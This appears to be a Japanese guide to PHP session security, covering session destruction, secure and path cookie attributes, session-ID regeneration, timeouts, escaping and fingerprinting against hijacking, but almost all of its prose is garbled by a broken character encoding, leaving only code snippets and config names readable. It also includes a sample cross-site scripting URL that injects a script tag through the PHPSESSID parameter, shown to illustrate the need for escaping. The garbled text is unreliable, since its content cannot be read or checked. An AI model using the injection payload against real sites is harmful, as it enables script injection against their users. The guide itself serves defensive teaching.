���å�������Ѥ���ݤΥ������ƥ�����Ȥ��Ƥϡ����å���� ID ��¾�Υ桼������ޤ�륻�å����ϥ�����å��Ȥ������꤬����ޤ������å���� ID �ϡ��֥饦���ΥХ��䡢�����������ȥ�����ץƥ��ˤ�ä�¾�Υ桼������ޤ���ǽ��������ޤ���Web ���ץꥱ�������ǥ��å���� ID ����Ѥ�����ϡ���ñ�˥��å���� ID ����ޤ�ʤ��褦�ˤǤ���¤���к���Ԥ�ɬ�פ�����ޤ���
���å����ˤĤ��Ƥΰ���Ū�ʵ�ǽ�ˤĤ��Ƥϡ�PHP �ޥ˥奢�� : ���å��������ؿ�(session) �Ȥ��Ƥ������������å�����ѿ�����Ѥ���ݤ� PHP ��ư��ˤĤ��ƽ�ʬ���Ƥ����������ɤ��Ȼפ��ޤ��Τǡ����ޤ� PHP �ޥ˥奢��ǿ�����Ƥ��ʤ���ʬ�Ƚ��פ��Ȼפ�����ʬ�ˤĤ��ƤޤȤ�Ƥߤޤ�����
PHP �ǤΥ��å��������ϥС������ˤ�äƾ����㤤������ޤ��Τ����դ��Ƥ����������ޤ���session_set_save_handler()
����Ѥ��ơ��ȼ��Υ��å���������Ԥ����ϻ��ͤˤʤ�ʤ���ʬ������ޤ��������Ǥϡ�PHP 4.3.9 �dz�ǧ����ư��ˤĤ��ƤޤȤ�Ƥ����ޤ���
PHP �ǥ��å�����ѿ�����Ѥ����硢session_start()
�ؿ���ƤӽФ�ɬ�פ�����ޤ����⤷��php.ini �� session.auto_start
�� "1"
�����ꤷ����硢��ưŪ�˥��å�����Ϥ���ޤ��Τ� session_start()
��ƤӽФ�ɬ�פϤ���ޤ���
���å����γ��ϻ��ˤϡ��ʲ��ν������Ԥ��ޤ���
�ޤ����å�����ѿ�����¸����Ƥ��ʤ���硢���å�����ѿ�����¸�ǡ������ΰ�����
���饤����Ȥ��饻�å���� ID ����������Ƥ�����硢���å�������¸�ΰ褫�� $_SESSION
�˥��å�����ѿ�������
���ꤵ�줿��Ψ�������١��������쥯�����(�������)��ư
������ץȤν�λ��(���ϻ�)�ˤϰʲ��ν������Ԥ��ޤ���
���ݤ�����¸�ǡ����ΰ�˥��å�����ѿ��Υǡ�������
���饤����Ȥ˥��å���� ID ���ޤޤ줿 Cookie ������(HTTP �쥹�ݥإå�)
session.use_trans_sid
�� "1"
�����ꤵ��Ƥ����硢�桼���� Cookie ��̵���ˤ��Ƥ������Ǥ⥻�å����³����褦�ˡ�url_rewriter.tags
������˽��ä� HTML �� URI �����ե������ hidden �ե�����ɤ˥��å���� ID �������������Ԥ�
���å�����ѿ�����¸�����ΰ�ϡ��ʲ�������ˤ�äƷ��ꤵ��ޤ����ǥե���ȤǤϡ�/tmp �� sess_dbfca507eb62b716bc2b8296159ccb15
(sess_ �� ���å���� ID)�Τ褦�ʥե����뤬��������ޤ���
session.save_handler
(�ǥե����: "files")
session.save_path
(�ǥե����: "/tmp")
���å���� ID �� Cookie -> GET -> POST �ν�� session.name
(�ǥե���ȤǤ� "PHPSESSID"
) �ǻ��ꤵ�줿���������ޤ����㤨�С�Cookie($_COOKIE['PHPSESSID']
) �� GET �ѿ�($_GET['PHPSESSID']
)���̤Υ��å���� ID �����ꤵ��Ƥ�����硢Cookie �Υ��å���� ID ��ͥ�褵��ޤ���
�ޤ���PHP 4.3.0 ����Ƴ�����줿 session.use_only_cookies
�� "1"
�����ꤹ��ȡ����å���� ID �Ȥ��� Cookie �Τߤ��ǧ����褦�ˤʤ�ޤ�������ϡ�PHP �ޥ˥奢��Ǥϡ����å���� ID �� URL �����������ɤ�����Ȥ���Ƥ��ޤ�(���å��������ؿ�(session) session.use_only_cookies)�����å����� Cookie �ΤߤǴ�������ΤǤ���С�session.use_only_cookies
�� On
�����ꤷ�Ƥ����ȡ�Session Fixation ������ɻߤǤ����ǽ�����⤯�ʤ�ޤ�(�����������ȡ�������ץƥ�����ǽ�ʾ��� Cookie �����Ƥ��������ǽ��������ޤ��Τǡ����Ф˰����Ȥ����櫓�ǤϤ���ޤ���)�����������Ԥ��ȡ�session.use_trans_sid
�ε�ǽ��̵��̣�ˤʤ�ޤ��Τǡ����ξ��� session.use_trans_sid
��̵���ˤ��Ƥ������ɤ��Ȼפ��ޤ���
GET �˥��å���� ID ��ޤ�뤳�Ȥ��������ˤĤ��Ƥϡ�PHP �ޥ˥奢��ǰʲ��Τ褦�˲��⤵��Ƥ��ޤ���
URL �˴�Ť����å��������ϡ�Cookie�˴�Ť����å�����������٤ƥ������ƥ��ꥹ�����礭���ʤ�ޤ����㤨�С��桼���ϡ�email�ˤ��ͧ�ͤ˥����ƥ��֤ʥ��å����ID��ޤ�URL�����������ǽ�������ꡢ�ޤ����桼���ϼ�ʬ�Υ֥å��ޡ����˥��å����ID��ޤ�URL����¸�������Ʊ�����å����ID�ǻ��Ѥ��륵���Ȥ˥������������ǽ��������ޤ���
�Ǹ�ˡ�session.use_trans_sid
�ˤĤ��ƤǤ�����PHP 4.3.1 �ʲ��ΥС������Ǥϡ����å���� ID �˥�����ޤ��ȥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ���������𤵤�Ƥ��ޤ��Τǡ�PHP 4.3.1 �ʲ��Ǥϡ�session.use_trans_sid ��ͭ���ˤ��ʤ��Ǥ���������
���Τ˥��å����λ������Ƚ�ꤹ�뤳�Ȥ����Ǥ������桼�������å����ν�λ�����(�㤨�С����������Ȥ���ʤ�)�������ϡ�session_destroy()
�ؿ���ƤӽФ����Ȥǡ������Ф���¸���줿���å��������˴�����ޤ���
PHP �ޥ˥奢�� : session_destroy() �ˤ��ȡ����å����˴ؤ��륰�����Х��ѿ��䡢���å���� Cookie ���˴����ʤ��Ȥ���Ƥ��ޤ����ºݤˡ�session_destroy()
���ƤӽФ��줿��⡢Ʊ�����å���� ID ����³���ƻ��Ѥ���ޤ���
�����˥��å������˴�������ϡ�PHP �ޥ˥奢�����˽��äƽ�����Ԥ��ޤ���
�� 1. $_SESSION�ǥ��å������˴�����
<?php // ���å����ν���� // session_name("something")����Ѥ��Ƥ�������äˤ����˺��ʤ��褦��! session_start(); // ���å�����ѿ������Ʋ������ $_SESSION = array(); // ���å��������Ǥ���ˤϥ��å���å����������롣 // Note: ���å�����������Ǥʤ����å������˲����롣 if (isset($_COOKIE[session_name()])) { setcookie(session_name(), '', time()-42000, '/'); } // �ǽ�Ū�ˡ����å������˲����� session_destroy(); ?>
�ޤ���session.save_handler
�˥ǥե���Ȥ� "files"
�����ꤵ��Ƥ�����硢�����١��������쥯�����ˤ�äƺ�������ޤǥ��å�������Υե�����϶��ΤޤޤǻĤä��ޤޤˤʤ�ޤ����⤷�����å�����˴����줿���˺�����������ϡ��ʲ��Τ褦�ˤ���к����ǽ�Ǥ���
$session_id = session_id(); if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) { $session_file = session_save_path() . '/sess_' . $session_id; if ( is_file( $session_file ) ) { unlink( $session_file ); } } else { trigger_error( 'Session ID is invalid.', E_USER_ERROR ); exit; }
session_id()
���֤��ͤϳ�����������Ϥˤ��������ǽ�Ǥ��Τǡ�session_id()
���ͤ������̤꤫�ɤ������ǧ���Ƥ�����Ѥ��Ƥ����������嵭�Υ����ɤΤ褦�ˡ��������ͤξ��ϡ����顼�Ȥ��ƽ�����λ���������������Ǥ����ܤ����ϡ����å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ��������Ȥ��Ƥ���������
session.save_handler
�� "files"
�ˤʤäƤ����硢���å�����ͭ�����֤ϥ����١��������쥯�����ˤ�äơ���¸����Ƥ��륻�å�������Υե����뤬��������ޤǤ�ͭ�����֤ˤʤ�ޤ��������١��������쥯�����ư���������å����Υե����뤬�ĤäƤ�����ϡ��в���֤˴ط��ʤ����å�����ͭ���ˤʤä��ޤޤˤʤ�ޤ���
��Ψ���㤤�Ǥ�����session.gc_maxlifetime
�����ꤵ�줿�ÿ��������å������ɤ߹��ߡ�Ʊ���˥����١��������쥯�����ư������硢���Υ��������ǤΥ��å����Ϸ�³���ޤ��������Υ��������Ǥϥ��å�����ڤ�ˤʤ�ޤ���
�����١��������쥯�����ϡ�session.gc_maxlifetime
(�ǥե����: 1440��)�����ꤷ���ÿ��������å�������Υե�����������������Ԥ��ޤ������ν����ϡ����å���ϻ��� session.gc_probability
(�ǥե����: 1) �� session.gc_divisor
(�ǥե����: 100)�dz�ä���Ψ�ǵ�ư���ޤ���
php.ini ���ä����ꤷ�Ƥ��ʤ����ϡ�100 ʬ�� 1 �γ�Ψ�ǥ����١��������쥯�����ư���ޤ����ޤ���PHP 4.3.9 �� php.ini-recommended �ԡ����ơ�php.ini �Ȥ��ƻ��Ѥ�����硢1000 ʬ�� 1 �����ꤵ��Ƥ��ޤ���
PHP 4.3.1 �����Ǥϡ�session.gc_divisor
������Ǥ��ޤ��� 100 ��Ʊ���Ǥ���
PHP 4.2.2 �����Ǥϡ�������������(atime)����Ѥ��뤿�ᡢWindows FAT �䡢atime �ε�Ͽ��̵���ˤ��Ƥ����硢���å�����ڤ줬�ᤤ�ʤɤ����������������ޤ���
����: �ǥե���ȤΥե�����˴�Ť����å����ϥ�ɥ����Ѥ��Ƥ����硢���Ѥ���ե����륷���ƥ�ϡ�������������(atime)��Ͽ�Ǥ���ɬ�פ�����ޤ���Windows FAT�Ϥ��줬�Ǥ��ʤ����ᡢFAT�ե����륷���ƥ�ޤ���atime�ε�Ͽ���Ǥ��ʤ�¾�Υե����륷���ƥ�������ȯ���������ϡ����å����Υ��١������쥯�Ƚ�����Ԥ�¾�μ��ʤ��Ѱդ���ɬ�פ�����ޤ���PHP4.2.3�ʹߡ�atime�������mtime�ʹ�������ˤ����Ѥ���ޤ������Τ��ᡢatime�����ѤǤ��ʤ��ե����륷���ƥ�Ǥ������̵���ʤ�ޤ�����
Cookie �ˤ� secure °���Ȥ���°�������ꤹ�뤳�Ȥ��Ǥ��ޤ���Cookie �� secure °�������ꤹ��ȡ��֥饦���ϡ�SSL ����Ѥ��� https �ˤ���̿����Τ� Cookie �����Ƥ���������http �̿����ˤ� Cookie �����Ƥ�����ʤ��褦�ˤʤ�ޤ���
���פʸĿ;���ʤɤ���硢https ��³��Ԥ����Ȥǡ������м��Τ�ǧ�ڤ��̿����ƤΰŹ沽��Ԥ����Ȥ��Ǥ��ޤ������̾�� http ��³��Ԥ����Ŀ;�������Ϥ�����Τߡ�https ��³��ԤäƤ��륵���Ȥ�¿���Ȼפ��ޤ������Τ褦�ʥ����Ȥǡ�https ��³�� http ��³��Ʊ�����å���� ID ����Ѥ��Ƥ��Ƥϡ��̿����Ƥ�Ź沽���Ƥ����̣������ޤ��ޤ����Ź沽����Ƥ��ʤ� http ���̿��ǥ��å���� ID ����İ����Ƥ��ޤä���硢�ʤꤹ�ޤ��ˤ�äƸĿ;�����ɤߤȤ��Ƥ��ޤ���ǽ��������ޤ���
��������ˤĤ��Ƥϡ�Cookie��İ�ˤ��Web���ץꥱ�������ϥ�����å��δ������Ȥ����к�(SecurIT - ���ȵ������縦��� �����奢�ץ�����ߥ��������) �䡢��ϩ�Υ������ƥ���Ʊ���˥����奢�ʥ��å���������(IPA)�Ǿܤ�������������ޤ���
�����������뤿��ˡ�https ����³����ݤˤ� Cookie �ˤ� secure °�����դ��� Cookie ��ȯ�Ԥ��ޤ���PHP 4.0.4 ���� Cookie �� secure °�����դ��뤳�Ȥ��Ǥ���褦�ˤʤäƤ��ޤ���
�ʲ��Τ褦�ˡ�Cookie �� secure °�����դ���ˤϤ����Ĥ���ˡ������ޤ���
php.ini ������
php.ini ������ǡ����å���� ID �ˤ�ɬ�� secure °�����դ��Ƥ��ޤ��Ȥ�����ˡ�Ǥ��������������������Ԥ��ȡ�http ���̿��Ǥϥ��å����³���ʤ����Ȥˤʤ�ޤ��Τǡ������դ��Ƥ���������https �̿��Τߤǥ��å�������Ѥ�����ˤ�����ͭ������ˡ�Ǥ���
�ʲ��ιԤ��ɲä��ޤ���php.ini ���ѹ��������ϡ�httpd ��Ƶ�ư����Τ�˺��ʤ��Ǥ���������
session.cookie_secure = 1
PHP �Υ���������°���Ƥ��� php.ini-dist �� php.ini-recommanded �ˤϤ��Υ��ץ�����¸�ߤ��ޤ���Τǡ����� session.cookie_domain
�β����餤���ɲä�����ɤ��Ȼפ��ޤ������Υ��ץ����ˤĤ��Ƥϡ�PHP �ޥ˥奢�� : ���å��������ؿ�(session) : session.cookie_secure �Ȥ��Ƥ���������
PHP ������ץ��������
ini_set()
�ؿ�����Ѥ���С�PHP ������ץ���Ǥ�����Ǥ��ޤ���session_start()
��ƤӽФ��������ꤷ�Ƥ���������
ini_set( 'session.cookie_secure', 1 );
�ޤ��ϡ�session_set_cookie_params()
�ؿ�����4������ TRUE �ˤ��뤳�ȤǤ⡢���å���� ID �˻��Ѥ��� Cookie �� secure °�����դ��뤳�Ȥ��Ǥ��ޤ���Cookie ����¸���֤� Path �ʤɡ�¾�� Cookie �Υѥ����Ȱ������ꤷ��������session_set_cookie_params()
�ؿ�����Ѥ���������Ǥ���
���å���� Cookie ����¸���֤� 1000�á�Path �� /ssl_path/��Cookie �� secure °�����դ��������
session_set_cookie_params( 1000, '/ssl_path/', NULL, TRUE ); session_start();
session_set_cookie_params()
�ؿ��� session_start()
�ؿ���ƤӽФ����˻��Ѥ��Ƥ����������ܤ����ؿ��������ˤĤ��Ƥϡ�PHP �ޥ˥奢�� : session_set_cookie_params �Ȥ��Ƥ���������
���å���� ID �ʳ��� Cookie �� secure °�����դ�����ˡ
���å���� ID �˻��Ѥ���ʳ����̾�� Cookie �ˤĤ��Ƥϡ�setcookie()
�ؿ�����Ѥ��ޤ�����setcookie()
�ؿ��Ǥϡ���6������ secure °�����դ���褦�����ꤹ�뤳�Ȥ��Ǥ��ޤ���
Cookie �Υ����� Cookie_Name��Cookie ���ͤ� Cookie_Value �Ȥ��ơ�Cookie ����¸���֤�1���֡�Path �� /ssl_path/���ɥᥤ��� example.com��secure °�����դ��������Ȥ��Ƥϰʲ��Τ褦�ˤʤ�ޤ���
setcookie( 'Cookie_Name', 'Cookie_Value', time() + 3600, '/ssl_path/', 'example.com', 1 );
PHP �ޥ˥奢��: setcookie �ˤ��ȡ���6������ int ���Ȥ������ȤˤʤäƤ��ޤ��Τǡ�secure °�����դ������1����ꤷ�ޤ���session_set_cookie_params()
�Ǥ� bool �� �Ǥ����Τ����줵��Ƥ��ʤ��褦�ʵ������ޤ�����setcookie()
����6������ TRUE ������Ƥ��ä�����ʤ� secure °�����դ��ޤ����ޤ�������¾�ˤ⡢setcookie()
����3�����ˤ�ͭ�����¤���ꤹ��ʤɡ�session_set_cookie_params()
�ȤϺ٤����㤤������ޤ��Τǵ����դ��Ƥ���������
���å���� ID �˴ؤ��Ƥϡ�����ȯ�Ԥ���Ƥ��� Cookie �� secure °�����ѹ����뤳�ȤϤǤ��ޤ��⤷������ɬ�פ�����ΤǤ���С����å���� ID ���ѹ�����secure °���դ��� Cookie ���ȯ�Ԥ���ɬ�פ�����ޤ���PHP �Ǥϡ�4.3.2 �ʹߤ�Ƴ�����줿 session_regenerate_id()
����Ѥ��뤳�Ȥǥ��å���� ID ���ѹ����뤳�Ȥ��Ǥ��ޤ������å���� ID ���ѹ���ˡ�ˤĤ��Ƥ� ���å���� ID ���ѹ����������ޤ���
Cookie �ˤ� Path �����ꤹ�뤳�Ȥ��Ǥ��ޤ���Cookie Path �ϡ����ѥ����ФǤ�ɬ�����ꤷ�Ƥ���������
�㤨�С�Cookie Path �����ꤹ�뤳�Ȥǡ�
http://www.example.com/user1/
�ȡ�
http://www.example.com/user2/
�ǡ��̤Υ��å���� ID ����Ѥ��뤳�Ȥ���ǽ�Ǥ���Cookie Path �����ꤹ��ˤϡ�session_set_cookie_params()
����2������ Path ����ꤷ�����θ塢session_start()
��ƤӽФ��ޤ���
session_set_cookie_params( 1000, '/user1/' ); session_start();
Cookie Path �κǸ�Υ���å����˺�줺���դ��Ƥ����������֥饦���ϥǥ��쥯�ȥ�ѥ�����������פ��� Cookie ���������뤳�ȤˤʤäƤ��ޤ��Τǡ�/user1
�����ꤹ��ȡ�/user10
�Ǥ� /user1
�� Cookie ����������뤳�ȤˤʤäƤ��ޤ��ޤ���
�⤷��Cookie Path ����ꤷ�ʤ����ޤ��� /
�ΤߤˤʤäƤ�����硢Cookie ��ȯ�Ԥ����ɥᥤ������ƤΥǥ��쥯�ȥ��Ʊ�� Cookie ���������뤳�Ȥˤʤ�ޤ������Τ��ᡢ���ѥ����Фǡ�Ʊ���ɥᥤ��(�����Ǥ� www.example.com)��ʣ���Υ桼�������Ѥ��Ƥ�����硢¾�ͤ��������Ƥ��� CGI ���Ф��Ƥ⥻�å���� ID ���������Ƥ��ޤ���ǽ�����⤯�ʤ�ޤ���
¾�ͤ��������Ƥ��� CGI �� Cookie �����Ƥ�Ͽ���Ƥ����Ȥ���ȡ����Ǽ��Ĥؤν��ߤʤɤǡ�Cookie ��Ͽ���� CGI ��ͶƳ���뤳�Ȥ��Ǥ���С�Javascript �ʤɤ����Ѥ��ʤ��Ƥ��ñ�˥��å���� ID ����İ���뤳�Ȥ��Ǥ��ޤ���
��������ǰ�ʤ��Ȥˡ�Cookie Path �����������ꤷ�Ƥ⡢�����Υ֥饦���ǤϾ����ٹ�������� Cookie Path ���������뤳�Ȥ��Ǥ��ޤ����ܤ����ϡ�Multiple Browser Cookie Path Directory Traversal Vulnerability(2004.03.14 �β�����)�ˤޤȤ�Ƥ��ޤ��Τǡ�������Ȥ��Ƥ���������
Cookie Path ������ϡ��ȼ��ɥᥤ�����������ɥᥤ������ƤΥǥ��쥯�ȥ��������Ƥ�����֤Ǥ���С����ޤ굤�ˤ���ɬ�פϤ���ޤ���ȿ�Фˡ��ɥᥤ����Ѥ����硢���å�������İ���ɤ��Τ��������Ǥ������פʥǡ����å����ˤ�äƴ�������ɬ�פ�������ˤϡ�����Ǥ����ѤΥɥᥤ���������٤��Ǥ���
http �̿��Ǥϡ�Cookie ��Ź沽���줺�˥ͥåȥ����ή��뤿�ᡢƱ�����å���� ID ��Ĺ���ֻȤ�³����ȡ�¾�ͤ��Τ��Ƥ��ޤä��ꡢ��İ���줿�ꤹ����������⤯�ʤ�ޤ������Ū�˥��å���� ID ���ѹ����ȤǤ��δ��������㤯���뤳�Ȥ��Ǥ��ޤ���
�ޤ���e ���ޡ��������ȤʤɤΤ褦�ˡ�http �̿������Ϥ������å���������ݻ������ޤ� https �˰ܹԤ������Ȥ������Ȥ⤢�뤫�⤷��ޤ���Cookie �� secure °�����դ���ȯ�Ԥ����硢http �̿���Ʊ�����å���� ID �ϻ��ѤǤ��ޤ���Τǡ����å���� ID ���ѹ�����ɬ�פ�����ޤ���
PHP 4.3.2 �ʹߤǤ���С�session_regenerate_id()
����Ѥ��뤳�Ȥǥ��å���� ID ���ѹ����뤳�Ȥ��Ǥ��ޤ����Ȥ����ϡ��ʲ��Τ褦�� session_start()
�θ�˸ƤӽФ������Ǥ���
session_start(); session_regenerate_id();
PHP 4.3.2 �ǥ��å���� ID �δ����� Cookie ����Ѥ��Ƥ�����ϡ��ѹ����줿���å���� ID ����������ʤ��Ȥ����Х�����𤵤�Ƥ��ޤ��Τǡ�PHP 4.3.2 ����Ѥ��Ƥ�����ϵ����դ��Ƥ�������([PHP-users 20127]Re: session_regenerate_id�ˤĤ���,PHP �ޥ˥奢��: session_regenerate_id() ��1������)��
PHP 4.3.1 �ʲ��Ǥ� session_regenerate_id()
����Ѥ��뤿������شؿ�����PHP �ޥ˥奢��: session_regenerate_id() �� User Contributed Notes �䡢PHP-users ���ꥹ�Ȥ� [PHP-users 17602]Re: session_regenerate_id()�ε�ư�ˤĤ�������Ƥ���Ƥ��ޤ���
�ޤ���session_regenerate_id()
�ϡ�������˻��Ѥ��Ƥ������å�������������ʤ����Ȥ����դ��Ƥ���������session_regenerate_id()
�ϡ��������̤��ΰ�˥��å����������¸���ޤ��������Υǡ����������ʤ����ᡢ�Ť����å�������ϻĤä��ޤޤˤʤ�ޤ����Ť����å�������ϡ����Ѳ�ǽ�ʾ��֤ˤʤäƤ��ޤ��Τǡ�ñ��� session_regenerate_id()
��ƤӽФ����ɤ��Ȥ�����ΤǤϤ���ޤ���ɬ�פ˱����ưʲ��Τ褦���к���ԤäƤ���������
�Ť����å������������Ū�˺��
���å�����ͭ������(session.gc_maxlifetime
)��û�����������١��������쥯�����ư�����Ψ��夲��(session.gc_probability
�� session.gc_divisor
���ͤ�Ĵ������)
2. �ϥ����١��������쥯���������ˤ˵�ư���뤳�Ȥˤʤ뤿�ᡢ��������٤��⤯�ʤ�Ȥ�������ȡ��桼��¦�ǥ��å�����ڤ줬������䤹���ʤ�Ȥ������꤬����ޤ������å�����ڤ���ǽ�ʸ¤������ˡ�Ȥ��Ƥϡ����å�������ॢ���Ȥؤ��н��⻲�ͤˤ��Ƥ���������
1. �θŤ����å����������������ˡ�Ȥ��ơ�PHP 5.1.0 �ʹߤξ��ϡ�session_regenerate_id()
����1�����˥��ץ�������ꤵ��Ƥ��ޤ�������� TRUE
�ˤ���ȡ����å��������������褦�ˤʤäƤ��ޤ���PHP 5.1.0 ����Ѥ��Ƥ�����ϡ�session_regenerate_id( TRUE )
��¹Ԥ�������Ǽ�ưŪ�˸Ť����å���� ID �Ϻ������ޤ���
�ܤ����ϡ��ʲ��Ȥ��Ƥ���������
session_regenerate_id() ��������� (2005.06.05 ������)
�⤷��PHP 5.1.0 ������ΥС������ǡ�session.save_handler
�� "files"
�Ǥ����硢�ʲ��Τ褦�ˤ��ޤ����⤷���ȼ��Υ��å����ϥ�ɥ����Ѥ��Ƥ�����ϡ�����˹�碌�Ƽ�����ԤäƤ���������
session_start(); $session_id = session_id(); session_regenerate_id(); if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) { $session_file = session_save_path() . '/sess_' . $session_id; if ( is_file( $session_file ) ) { unlink( $session_file ); } } else { trigger_error( 'Session ID is invalid.', E_USER_ERROR ); exit; }
���ա�session_id()
�ˤ��������ͤ��ޤޤ�Ƥ����ǽ��������ޤ��Τǡ������ͤ���Ѥ���ݤϡ���������("/", "\", ">", "<"�ʤ�)���ޤޤ�Ƥ��ʤ���ɬ�������å���ԤäƤ����������嵭�Τ褦�ˡ��������ͤ��ޤޤ�Ƥ�����ϡ����顼�Ȥ��ƽ�λ�������������Ǥ���
session.maxlifetime
�����ꤷ���ÿ��ʾ�λ��֡��桼������Υ����������ʤ���ǡ������١��������쥯�����ˤ�äƥ��å������������Ƥ��ޤä���硢���å�������ॢ���ȤȤʤ�ޤ����äˡ��桼���������ƥ�˥����������֤�¿���Υǡ��������Ϥ���ɬ�פ����ä���硢���å�������ॢ���Ȥ��������ǽ�����⤯�ʤ�ޤ��������н�Ȥ��ơ�session.maxlifetime
���ÿ������䤹�Ȥ�����ˡ�ϡ����å���� ID ��ϳ�̤����ä���硢���Ѥ������������⤯�ʤ�ޤ��Τǡ��ɤ���ˡ�ǤϤ���ޤ���
�桼��������ڡ�����֥饦�����Ƥ���֤ϡ��Ǥ���¤ꥻ�å������³��������ˡ�Ȥ��ơ��֥ϡ��ȥӡ��ȡפȤ�����ˡ������ޤ����ܤ����ϡ�IPA �����奢�ץ�����ߥ��������� 5�� �����奢VBScript/ASP�ץ�����ߥ� [5-3.] ���å�����ॢ�����Ȥ��Ƥ���������
PHP �Ǥϡ��ʲ��Τ褦�ʥ��å�����³�ѤΥե�������Ѱդ��ޤ������Υե�������ɤ߹��� frame �� iframe ���ʤ������֤���������֤��Ȥ˥����������뤳�Ȥǥ��å�������ॢ���Ȥ��ɤ��ޤ����㤨�С�session.maxlifetime
�ϥǥե���Ȥ� 1440 �äˤʤäƤ��ޤ��Τǡ�1440 �ðʲ��δֳ֤ǥ���������Ԥ��Х��å�������ॢ���Ȥ��ɤ����Ȥ��Ǥ��ޤ���1200 �ä��Ȥ˥����Ф˥�����������ˤϰʲ��Τ褦�ˤ��ޤ���
<?php session_start(); ?> <html> <head> <meta HTTP-EQUIV="Refresh" CONTENT="1200"> </head> <body> </body> </html>
����ˤ�äơ�session.maxlifetime
��û�����Ƥ⡢���å�������ॢ���Ȥ��������ǽ�����㤯���뤳�Ȥ���ǽ�ˤʤ�ޤ����ޤ���session.maxlifetime
��û�����뤳�Ȥϡ�����桼���Υ��å���� ID ��ϳ�̤����Ȥ��Ƥ⡢�桼�����ﳲ��������ǽ�����㤯�ʤ�ޤ���
���ޤ�û�����֤ǥ����Ф˥���������Ԥ��ȥ�����¦����٤��⤯�ʤ�ޤ��Τǡ�Refresh ���ÿ��� session.maxlifetime
���ͤ�ɤ����٤ˤ��뤫��Ĵ����ɬ�פǤ���
���å�������Ѥ���Ȥ��ˤϡ��ʲ������˵����դ��ʤ��ȡ������������ȥ�����ץƥ�������������������ǽ��������ޤ��Τǡ����դ��Ƥ���������
PHP 4.3.1 �ʲ��Ǥϡ�session.use_trans_sid ��ͭ���ˤ��ʤ�
session.use_trans_sid
�ˤĤ��ƤǤ�����PHP 4.3.1 �ʲ��ΥС������Ǥϡ����å���� ID �˥�����ޤ��ȥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ���������𤵤�Ƥ��ޤ���
session_id() ������� SID ����Ѥ�����⥨������������Ԥ�
���å���� ID �⳰����������Ϥ���ǽ�Ǥ��Τǡ��������ޤޤ�뤳�Ȥ�ͤ����ޤ���Cookie �� GET �ѿ��˻��ꤹ�륻�å���� ID �˥������ޤޤ�Ƥ�����硢���Τޤ��Ϥ���ȥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ��ޤ���
�����������ȥ�����ץƥ����н���ˡ�����������褦�ˡ�HTML �Ȥ��ƽ��Ϥ������Ƥ��ѿ���������ؿ��η�̤� htmlspecialchars()
���̤��ƽ��Ϥ�ԤäƤ���Ф�������ϵ��ˤ���ɬ�פϤ���ޤ���
strip_tags()
�Ǥϥ��֥륳���ơ�����������ʤ����ᡢhtmlspecialchars()
�ǥ����������פ��ʤ��ȡ������������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ��ޤ���
����ˡ�session_id()
�� SID
�Υ��������פ��ˤ��Τޤ��Ϥ���褦�˽�Ƥ�����Ҥ� Web �ڡ�����¿���Ǥ��Τǡ����դ��Ƥ���������
��Ȥ��Ƥϡ��ʲ��Τ褦�����������פ����� SID
�� session_id()
����Ϥ���Τϴ����Ǥ���
echo '<a href="index.php?' . SID . '">HOME</a>';
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post"> <input type="hidden" name="PHPSESSID" value="<?php echo session_id() ?>" /> </form>
ɬ�����ʲ��Τ褦�˥�������������ԤäƤ�����Ϥ��Ƥ���������
echo '<a href="index.php?' . htmlspecialchars( SID ) . '">HOME</a>';
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post"> <input type="hidden" name="PHPSESSID" value="<?php echo htmlspecialchars( session_id() ) ?>" /> </form>
�ʲ��Τ褦�� HTTP �ꥯ�����Ȥ������ȡ����������פ��Ƥ��ʤ����ϥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ��ޤ���
http://www.example.com/index.php?PHPSESSID="><script>alert()</script>
���å����ϥ�����å��к�(2005.07.17 �β�����) �ΤޤȤ�ľ���Ǥ���
Question about session hijacking (DevNetwork Forums) �ε����ǡ�Web ���ץꥱ�������ؤΥ���������ˡ��֥饦���� User Agent
�� Accept Charset
�ʤɤ� HTTP �ꥯ�����ȥإå����ѹ�����褦�ʿͤϤۤȤ�ɤ��ʤ��Ȥ����������Ѥ��ơ��ʲ��Τ褦�ʴؿ������Ƥ��ޤ���(���δؿ��ϥ��å����������饹����ǻ��Ѥ���뤳�Ȥ����ꤷ�Ƥ���褦�Ǥ��Τǡ����ΤޤޤǤϻȤ��ޤ���)��
// get the fingerprint of the user function getFingerprint() { $fingerprint = $this->secret; if (array_key_exists('HTTP_USER_AGENT', $_SERVER)) { $fingerprint .= $_SERVER['HTTP_USER_AGENT']; } if (array_key_exists('HTTP_ACCEPT_CHARSET', $_SERVER)) { $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET']; } $fingerprint .= session_id(); $fingerprint = md5($fingerprint); return $fingerprint; }
�ե����ץ��Ȥ���������㤦���ϥ����˽��ࡢ�ޤ��ϥ��顼��å��������֤��ʤɤ��н��Ԥ����Ȥǥ��å����ϥ�����å����ɻߤ���Ȥ����ͤ����Ǥ���������ˡ�Ǥϡ����å���� ID ����ޤ줿�Ȥ��Ƥ⡢�������� User Agent
�� Accept Charset
��Ʊ���ˤ��ʤ���Х��å����ϥ�����å��Ȥ��Ƹ��Ф���ޤ��������� HTTP �ꥯ�����ȥإå��ξ���ޤǥ��˥åե��ʤɤ���İ���줿���Ϥ����к���̵��̣�Ǥ�����Javascript �ʤɤˤ�륻�å���� ID ����İ�Ǥ���и��ФǤ����ǽ�����⤯�ʤ�ޤ���
���å����ϥ�����å��к��Ȥ��Ƥϡ�IP ���ɥ쥹�����å���Ԥ����⤢��ޤ�����Proxy ����Ѥ��Ƥ���桼���ξ�硢IP ���ɥ쥹���ѹ����줿�ꡢ�̤Υ桼���Ƚ�ʣ���뤳�Ȥ�¿���Ȥ������꤬����ޤ���������Ф��ơ�User Agent
�� Accept Charset
����������ѹ�����֥饦���Ͼ��ʤ��Ȼפ��ޤ���
������Ȥ��Ƥϰʲ��Τ褦�˥��å���ϻ��˥ե����ץ��Ȥ�������������å����ޤ���
